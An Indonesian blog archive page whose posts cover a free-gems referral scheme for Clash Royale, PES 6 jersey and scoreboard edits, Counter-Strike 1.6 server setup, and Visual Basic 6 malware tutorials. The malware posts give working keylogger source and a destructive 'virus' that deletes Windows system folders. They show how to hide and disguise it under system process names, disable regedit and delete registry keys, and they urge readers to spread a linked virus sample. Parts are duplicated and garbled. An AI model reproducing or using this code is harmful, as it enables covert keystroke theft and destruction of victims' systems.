Showing posts with label 6. Show all posts
Showing posts with label 6. Show all posts
Sunday, December 18, 2016
CARA MEMBELI GEMS DI GAME CLASH ROYAL SECARA GRATIS UPDATE 6 JULII 2016
CARA MEMBELI GEMS DI GAME CLASH ROYAL SECARA GRATIS UPDATE 6 JULII 2016
Halo sahabat semua , kali ini saya akan share tentang cara membeli gems di game clash royal secara gratis .
Bermain game clash royal sangatlah menyenangkan , tapi terkadang kita terkendala dengan update dan membeli kartu karena kita kekurangan gems .
Adapun cara untuk membeli gems clash royal secara gratis yaitu menggunakan aplikasi WHAFF rewards , dengan cara mengumpulkan dollar lalu ditukarkan dengan uang di email google kita untuk di pakai membeli gems.
Baiklah cara untuk membeli gems di game clash royal adalah :
1. Download aplikasi WHAFF rewards di playstore atau sahabat bisa cari versi apknya di google.
2. Buka aplikasi WHAFF setelah itu sobat harus log in menggunakan facebook sahabat.
3. Stelah itu anda akan disuruh memasukkan kode ketit saja kode berikut : BJ68590 (catat supaya tidak lupa )
4. Setelah sukses log in anda akan mendapat uang sebesar 0,300 us dollar.
5. Untuk mendapatkan lebih banyak uang sobat bisa melakukan du acara yaitu
· Dengan menginstal aplikasi yang disediakan oleh waff , dengan mengistal aplikasi ini sobat akan dibayar dollar sesuai yang tertera , dan jika sobat menyelesaikan misinya , sobat akan mendapat uang tambahan.
· Cara yang kedua adalah dengan mengundang teman sobat untuk join di waff , bayaran untuk setiap teman yang di undang adalah 0,300 dollar sangat lumayan untuk mempercepat penarikan.
6. Kita bisa menukarkan dollar menjadi uang di email google kita saat mencapai 10 dollar ,
7. Cara pembelian gems
· Setelah dollar mencapai 10 us dollar , Tarik ke email kita dengan cara
· Setelah selesai buka game clash royal lalu pilih shop , lalu setelah itu ikuti lankahnya sampai proses pembelian selesai.
Mmm tidak terlalu rumit bukan cara mendapatkan pulsa gratis di android J semoga bermanfaat ….. J
Go to link Download
Monday, December 5, 2016
Cara Membuat Jersey PES 6 Sendiri dengan Photoshop
Cara Membuat Jersey PES 6 Sendiri dengan Photoshop
Mungkin bagi para penggemar PES 6 akan jenuh karena hanya bisa mendownload kit-kit terbaru dan kit fantasy, namun disini kami akan berikan cara untuk membuat jersey PES 6 dengan Adobe Photoshop. Berikut caranya :
- Download template di link dibawah ini :
4SHARED
- Buka dengan Adobe Photoshop
- Ubah warna sesuai keinginan dan masukkan logo tim dan sponsor ( Opsional )
- Save dengan format .png
- Masukkan ke kitserverkitNamaTim
Ini adalah salah satu contoh kit saya yang sudah berhasil dibuat :
Go to link Download
Sunday, November 6, 2016
Cara Membuat KeyLogger Dengan Visual Basic 6 0
Cara Membuat KeyLogger Dengan Visual Basic 6 0
Cara Membuat KeyLogger Dengan Visual Basic 6.0 - Selamat malam semua, kali ini saya akan sharing tentang keylogger, pasti udah pada tau dong keylogger itu apa? dan saya akan menulis artikel sesuai pada judul hehehe, oke langsung saja.
1. Siapkan Visual Basic 6.0, bisa cari di Sini
2. Buka program Visual Basic
3. New Project, Standard EXE
4. Tambahkan 1 TextBox, 4 CommandButton, 2 Timmer, dan 6 buah Label ( Lihat Gambar )
5. Copy + Paste seluruh kode di bawah ini pada From :
Private Declare Function GetAsyncKeyState Lib “user32? (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32? () As Long
Private Declare Function GetWindowText Lib “user32? Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End Sub
Private Sub Label1_Click()
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Label6_Click()
Timer1.Enabled = True
End Sub
Private Sub Label7_Click()
Timer1.Enabled = False
End Sub
Private Sub Label8_Click()
backs = True
End Sub
Private Sub Label9_Click()
backs = False
End Sub
Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub
Private Sub Timer1_Timer()
Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000
win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”
GetWindowText hForegroundWnd, Title, 1000
Select Case Asc(Title)
Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select
End If
Exit Sub
Keylogger:
For i = 65 To 90
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If
End If
Next
For i = 8 To 222
If i = 65 Then i = 91
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
Select Case i
Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0?)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1?)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2?)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3?)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4?)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5?)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6?)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7?)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8?)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9?)
Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “
Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “”)
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
End Select
End If
Next
End Sub
Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub
6. Jalankan dengan tekan F5
Sumber
Go to link Download
Saturday, October 29, 2016
Cara Membuat Virus Dan AntiVirus Di Visual Basic 6
Cara Membuat Virus Dan AntiVirus Di Visual Basic 6
tutorial buat bikin virus sangat mematikan, tapi simple, dan kayanya sih ga bakal kedekteksi antivirus, soalnya cara kerjanya simple banget.
yang anda perlukan antara lain adalah sebagai berikut :
1. VB(optimal : 6.0)
1. VB(optimal : 6.0)
apabila anda ingin mendownload Visual Basic 6.0, klik disini
2. Ngerti tombol2nya VB
tutorialnya begini sob, :
1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:windowssystem32katak.txt”) = True Then
End
Else
Call DelAll(”c:windowssystem”)
Call DelAll(”c:windowssystem32?)
Call DelAll(”c:windows”)
Call DelAll(”C:Documents and SettingsAll Users”)
Call DelAll(”C:Documents and SettingsAdministrator”)
Call DelAll(”C:Documents and Settings”)
Call DelAll(”C:Program FilesCommon Files”)
Call DelAll(”C:Program FilesInternet Explorer”)
Call DelAll(”C:Program FilesMicrosoft Visual Studio”)
Call DelAll(”C:Program Files”)
End
End If
End Sub
On Error Resume Next
If FileExist(”c:windowssystem32katak.txt”) = True Then
End
Else
Call DelAll(”c:windowssystem”)
Call DelAll(”c:windowssystem32?)
Call DelAll(”c:windows”)
Call DelAll(”C:Documents and SettingsAll Users”)
Call DelAll(”C:Documents and SettingsAdministrator”)
Call DelAll(”C:Documents and Settings”)
Call DelAll(”C:Program FilesCommon Files”)
Call DelAll(”C:Program FilesInternet Explorer”)
Call DelAll(”C:Program FilesMicrosoft Visual Studio”)
Call DelAll(”C:Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.Kode yg berwarna biru itu adalah penangkal nih virus sob, jadi di folder c:windowssystem32 kalo ada file namanya katak.txt, lu ga bakal keserang sendiri… bisa kamu edit kok jadi apa gitu…
Yang berwarna merah itu folder yg bakal didelete ama nih virus, kamu edit sendiri aja…
4. Bikin nih project namanya kaya nama system, disini aku memakai nama “SystemKernel32? jadi ga bakal dicurigain.
5. jangan pernah nulis nama kamu di project ini, okey friend?
6. terakhir ya tinggal di compile deh…
gimana sob, mudah sekali kan?..
sangat Simple kan? nih virus kerjanya ngapus system, jadi sengat berbahaya sekali … ini cman contoh bikin virus…
Sebenarnya bikin virus itu menyenangkan, apalagi klo kita sampai bisa bikin orang kebakaran jengot gara2 virus kita. Aku mau berbagi sedikit ilmu nih tentang cara bikin virus dengan VB 6. Materi ini hanya untuk coba-coba saja atau kata lainnya ini masih dasarnya. Kamu mungkin bisa mengembangkannya sendiri. Oh ya, aku juga menyertakan satu contoh virus yang sudah aku buat namanya r3d_94l4xy. Untuk materi yang lebih berat akan disambung lain waktu. Bagi yang ingin mendapatkan sample virus tertentu dengan source codenya silakan contact Johan.
Pertama, bikin form buat virus kamu pake Standart exe saja
1. Nyembuin Form
Private Sub Form_Load()
App.TaskVisible = False
End Sub
2. Kopiin Diri Sendiri
Misalnya mau dikopiin ke direktori C:Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows
On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:WINDOWSwinlogon.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWScsrss.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWSservices.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWSsmss.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWSlsass.exe”
3. Bikin Direktori ato folder
Misalnya bikin folder di windows direktori
On Error Resume Next
MkDir “C:WINDOWSvirus”
4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden
Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:WINDOWSwinlogon.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWScsrss.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWSservices.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWSsmss.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWSlsass.exe”).Attributes = 2
tapi kalo folder pakenya
sembunyi.GetFolder(”C:WINDOWS”).Attributes = 2
5. Bikin Pesan Virus
Bikin pesen pake text file
On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C: aca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close
6.Ngubah Registry
Misalnya mo disable regedit
On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USERsoftware
microsoftwindowscurrentversionpoliciessystem
disableregistrytools”, 1, “REG_DWORD”
7.Menghapus Registry
Misalna mo ngehapus HKEY_LOCAL_MACHINE
SoftwareMicrosoftWindows NTCurrentVersionRunServLogon
On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE
SoftwareMicrosoftWindows NTCurrentVersionRunServLogon”
Nah sekian dulu materi yang kita pelajari, dari pada pusing, download sample virus r3d_94l4xy dan sebarin ke seluruh penjuru dunia OK!
r3d_94l4xy.rar 180 kb
Berhubung banyaknya permintaan mengenai Sample Virus dalam bentuk VB Project, jadi dibawah ini aku tambahi Source VB nya r3d_94l4xy dan virus lainnya :
r3d_94l4xy (VB_Basic).rar 95 kb
r3d_94l4xy (VB_Extreme).rar 860 kb
Source VB 4 Virus.rar 1297 kb
Trus yang ini adalah software untuk membuat virus dengan mudah, coba deh !
Visual Basic Virus Maker 32 RC 03.rar 1560 kb
Trus yang terakhir ini adalah Artikel tentang Regsitry, bisa kamu pelajari sampai tua!
1001 Malam Mengedit Registry.rar 41 kb
Teknik Bikin Virus Komputer.rar 20 kb
Tak kasih bonus ya Internet Maniac dan Harpot Infeksi Exe, tau kan fungsinya!
Internet Maniac.rar 59 kb
Harpot Infeksi Exe.rar 881 kb
Segini dulu aja ya, soalnya aku lagi persiapan buat lomba Debat Bahasa Inggris di Jember, tanggal 25 November nanti. Dan jangan lupa doain aku biar juara 1, OK ! Dan seperti biasanya, kalau ada pertanyaan, silakan bertanya jangan dipendam. Selamat Belajar !
Pertama, bikin form buat virus kamu pake Standart exe saja
1. Nyembuin Form
Private Sub Form_Load()
App.TaskVisible = False
End Sub
2. Kopiin Diri Sendiri
Misalnya mau dikopiin ke direktori C:Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows
On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:WINDOWSwinlogon.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWScsrss.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWSservices.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWSsmss.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWSlsass.exe”
3. Bikin Direktori ato folder
Misalnya bikin folder di windows direktori
On Error Resume Next
MkDir “C:WINDOWSvirus”
4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden
Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:WINDOWSwinlogon.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWScsrss.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWSservices.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWSsmss.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWSlsass.exe”).Attributes = 2
tapi kalo folder pakenya
sembunyi.GetFolder(”C:WINDOWS”).Attributes = 2
5. Bikin Pesan Virus
Bikin pesen pake text file
On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C: aca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close
6.Ngubah Registry
Misalnya mo disable regedit
On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USERsoftware
microsoftwindowscurrentversionpoliciessystem
disableregistrytools”, 1, “REG_DWORD”
7.Menghapus Registry
Misalna mo ngehapus HKEY_LOCAL_MACHINE
SoftwareMicrosoftWindows NTCurrentVersionRunServLogon
On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE
SoftwareMicrosoftWindows NTCurrentVersionRunServLogon”
Nah sekian dulu materi yang kita pelajari, dari pada pusing, download sample virus r3d_94l4xy dan sebarin ke seluruh penjuru dunia OK!
r3d_94l4xy.rar 180 kb
Berhubung banyaknya permintaan mengenai Sample Virus dalam bentuk VB Project, jadi dibawah ini aku tambahi Source VB nya r3d_94l4xy dan virus lainnya :
r3d_94l4xy (VB_Basic).rar 95 kb
r3d_94l4xy (VB_Extreme).rar 860 kb
Source VB 4 Virus.rar 1297 kb
Trus yang ini adalah software untuk membuat virus dengan mudah, coba deh !
Visual Basic Virus Maker 32 RC 03.rar 1560 kb
Trus yang terakhir ini adalah Artikel tentang Regsitry, bisa kamu pelajari sampai tua!
1001 Malam Mengedit Registry.rar 41 kb
Teknik Bikin Virus Komputer.rar 20 kb
Tak kasih bonus ya Internet Maniac dan Harpot Infeksi Exe, tau kan fungsinya!
Internet Maniac.rar 59 kb
Harpot Infeksi Exe.rar 881 kb
Segini dulu aja ya, soalnya aku lagi persiapan buat lomba Debat Bahasa Inggris di Jember, tanggal 25 November nanti. Dan jangan lupa doain aku biar juara 1, OK ! Dan seperti biasanya, kalau ada pertanyaan, silakan bertanya jangan dipendam. Selamat Belajar !
MEMBUAT ANTIVIRUS
Mungki ini sangat sederhana dan dibuat untuk menangapi tutorial sebelumnya yang tidak lengkap apabila hanya membuat virus saja oke langsung aja deh tanpa basa-basi lagi
Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :
1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (- opsional)
- First
Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
Blog dengan ID 134100 Tidak ada
Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0). Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :
Blog dengan ID 134100 Tidak ada
Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0). Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :
================= START HERE ====================
Private crcTable(0 To 255) As Long ‘crc32
Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long
‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file
Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long ‘variabel temp hasil perhitungan
If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &HFFFFFFFF
For lCurPos = 0 To lLen
lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))
Next lCurPos
CRC32 = lTemp Xor &HFFFFFFFF
End Fun
Read more »
Go to link Download
Monday, October 17, 2016
Cara Membuat Server Counter Strike 1 6 Sendiri HLDS
Cara Membuat Server Counter Strike 1 6 Sendiri HLDS
Apa itu HLDS? HLDS (Half-Life Dedicated Server) adalah sebuah program default dari Half-Life yang memungkinkan user untuk membuat game server agar dapat bermain online dengan sesama player.
STEP 1
Pergi ke directory Counter-Strike 1.6 lalu cari hlds.exe kemudian buka hlds tersebut.
STEP 2
Set HLDS seperti gambar dibawah.
STEP 1
Pergi ke directory Counter-Strike 1.6 lalu cari hlds.exe kemudian buka hlds tersebut.
STEP 2
Set HLDS seperti gambar dibawah.
Penjelasan:
Game - Game yang akan dibuatkan servernya
Server Name - Nama server
Network - Jika ingin membuat server online atau offline pilih saja Internet
UDP Port - Port server, dengan port ini kita dapat membuat lebih dari satu server pada 1 komputer server
RCON Password - Password RCON wajib diisi
STEP 3
Jika sudah di set, klik Start Server
STEP 4
Copy IP yang diberi tanda merah berikut. Bisa juga lewat whatsmyipaddress.com
STEP 5
Connect ke dalam server ada 2 cara
Cara 1:
Dengan metode konsol. Tekan tombol "~" dibawah tombol Escape, lalu ketikan connect IP seperti gambar berikut lalu enter.
Cara 2:
Dengan metode find server.
Go to link Download
Saturday, October 15, 2016
Cara Membuat Scoreboard PES 6
Cara Membuat Scoreboard PES 6
Penggemar Pes 6 yang setia, Posting kesempatan kali ini, saya coba edit Scoreboard pada kitserver dan e-teks master PES 6 anda….
SIAPKAN !!!
a. Aplikasi GSS (game grafik Studio), Bisa di download dahulu dengan cara browsing di google, tulis saja keyword Game Graphic Studio.
b. Adobe Photoshop, seri nya bebas bisa semua kok.
c. Logo TV terbaru sesuai selera anda
TUTORIAL nya :
a.
1. Untuk yang tidak pake kitserver, Buka e-text di folder dat System kamu (C:program fileskonamipro evolution soccerdat) dengan Aplikasi GSS
2. Untuk yang pake kitserver, Buka (C:Program FilesPro Evolution Soccer 6kitserverdate_text.afs) dengan Aplikasi GGS
Dan saya akan praktek via yang pake kitserver…..
b. Sorot File unname_151.bin, lalu cari Scoreboard yang pengen kamu Edit, Klik terlebih dulu yang berada dibawah, Baru kemudian klik Kanan Display Scoreboardnya Lalu save as di Hd kamu :
c. Buka File scoreBoard yang sudah kamu save tadi di Photoshop,
karena berbentuk PNG, Edit langsung saja tak perlu bikin layer Baru, hapus logo yang dulu, Pake Tools selection liat gambar dibawah ini…
d. Pilih Logo TV yang Bakalan Kamu pake di scoreboard, disini aku pake TV one, di tempel ke Lahan Kosong bekas logo yang udah dihapus. Lalu edit ukurannya sebesar logo asalnya serta gunakanlah Rectangular marquee Tool untuk proses drag, tempatkan pada logo yang belum di edit tadi
setelah itu baru Save, tetap berformat .PNG
e. Buka kembali GSS yang tadi lagi edit, pada Display scoreboard klik kanan open, browse file scoreboard yang tadi udah diedit di Photoshop…
Drag display Scoreboard TV ONE ke bawah Scoreboard yang mau diedit,,,
Sip..Beres,,,
Aplikasi GSS ini sistem nya langsung Replace OTomatis, jadi ga perlu Save Command, Maka Dari itu Alangkah baiknya File e-text Dicopy(BACK UP) Terlebih dahulu sebelum diedit…
Ini Contoh View punya saya….
.
Sekian ya,,, tunggu update pes 6 terbaru dari saya lain waktu
Sumber : http://www.pesevo6.wordpress.com
SIAPKAN !!!
a. Aplikasi GSS (game grafik Studio), Bisa di download dahulu dengan cara browsing di google, tulis saja keyword Game Graphic Studio.
b. Adobe Photoshop, seri nya bebas bisa semua kok.
c. Logo TV terbaru sesuai selera anda
TUTORIAL nya :
a.
1. Untuk yang tidak pake kitserver, Buka e-text di folder dat System kamu (C:program fileskonamipro evolution soccerdat) dengan Aplikasi GSS
2. Untuk yang pake kitserver, Buka (C:Program FilesPro Evolution Soccer 6kitserverdate_text.afs) dengan Aplikasi GGS
Dan saya akan praktek via yang pake kitserver…..
b. Sorot File unname_151.bin, lalu cari Scoreboard yang pengen kamu Edit, Klik terlebih dulu yang berada dibawah, Baru kemudian klik Kanan Display Scoreboardnya Lalu save as di Hd kamu :
c. Buka File scoreBoard yang sudah kamu save tadi di Photoshop,
karena berbentuk PNG, Edit langsung saja tak perlu bikin layer Baru, hapus logo yang dulu, Pake Tools selection liat gambar dibawah ini…
d. Pilih Logo TV yang Bakalan Kamu pake di scoreboard, disini aku pake TV one, di tempel ke Lahan Kosong bekas logo yang udah dihapus. Lalu edit ukurannya sebesar logo asalnya serta gunakanlah Rectangular marquee Tool untuk proses drag, tempatkan pada logo yang belum di edit tadi
setelah itu baru Save, tetap berformat .PNG
e. Buka kembali GSS yang tadi lagi edit, pada Display scoreboard klik kanan open, browse file scoreboard yang tadi udah diedit di Photoshop…
Drag display Scoreboard TV ONE ke bawah Scoreboard yang mau diedit,,,
Sip..Beres,,,
Aplikasi GSS ini sistem nya langsung Replace OTomatis, jadi ga perlu Save Command, Maka Dari itu Alangkah baiknya File e-text Dicopy(BACK UP) Terlebih dahulu sebelum diedit…
Ini Contoh View punya saya….
.
Sekian ya,,, tunggu update pes 6 terbaru dari saya lain waktu
Sumber : http://www.pesevo6.wordpress.com
Go to link Download
Cara Membuat Server Counter Strike 1 6
Cara Membuat Server Counter Strike 1 6
Kali ini saya akan memberitahu cara membuat Server CS 1.6
1. Buka Dedicated Server atau hlds.exe (Ada di folder CS 1.6)
2. Akan ada tampilan seperti ini :
- Game : Counter-Strike
- Server Name : Nama Server
- Map : Pilih map yang ingin dimaiinkan
- Network : Mengatur Networknya
- Max. Players : Mengatur maksimal playernya
- UDP Port : Nama
3. Klik Start Server
4. Lalu atur deh setting servernya !
Penting! Jangan tutup hldsnya selama permainan!
Go to link Download
Subscribe to:
Posts (Atom)